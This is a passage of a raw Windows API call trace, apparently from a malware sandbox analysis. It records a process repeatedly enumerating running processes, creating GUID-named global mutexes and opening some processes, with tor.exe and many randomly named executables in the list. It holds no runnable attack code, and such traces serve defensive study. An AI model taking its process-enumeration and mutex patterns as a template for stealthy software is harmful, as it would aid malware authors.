GetLastError () returned 0xb7 [0121.497] CloseHandle (hObject=0x56c) returned 1 [0121.497] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.498] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0121.498] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0121.498] GetLastError () returned 0x0 [0121.498] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0121.498] CloseHandle (hObject=0x56c) returned 1 [0121.498] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0121.499] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0121.499] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0121.500] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0121.501] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0121.502] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0121.502] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0121.503] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0121.504] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0121.505] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0121.505] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0121.506] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0121.507] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0121.508] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0121.508] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0121.509] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0121.510] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0121.511] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0121.511] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0121.512] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0121.513] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0121.514] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.514] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0121.515] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.563] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.564] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.565] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.565] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.566] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.567] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.568] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0121.569] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0121.569] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0121.569] GetLastError () returned 0xb7 [0121.569] CloseHandle (hObject=0x56c) returned 1 [0121.569] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0121.569] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0121.570] CloseHandle (hObject=0x6cc) returned 1 [0121.570] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0121.703] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0121.706] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.707] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.708] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.710] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.711] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.711] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.712] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.713] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.714] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.715] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0121.715] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.716] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.717] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.718] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.719] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.719] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.720] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.721] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.722] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.723] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.724] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.725] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0121.725] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0121.725] GetLastError () returned 0xb7 [0121.725] CloseHandle (hObject=0x56c) returned 1 [0121.725] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.726] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0121.726] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0121.726] GetLastError () returned 0xb7 [0121.726] CloseHandle (hObject=0x56c) returned 1 [0121.726] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.727] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.728] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0121.728] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0121.728] GetLastError () returned 0x0 [0121.728] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0121.728] CloseHandle (hObject=0x56c) returned 1 [0121.728] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.729] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0121.729] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0121.729] GetLastError () returned 0x0 [0121.729] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0121.729] CloseHandle (hObject=0x56c) returned 1 [0121.729] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.730] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0121.730] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0121.730] GetLastError () returned 0xb7 [0121.730] CloseHandle (hObject=0x56c) returned 1 [0121.730] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.731] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0121.732] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0121.732] GetLastError () returned 0x0 [0121.732] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0121.732] CloseHandle (hObject=0x56c) returned 1 [0121.732] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0121.733] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0121.734] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0121.735] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0121.736] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, 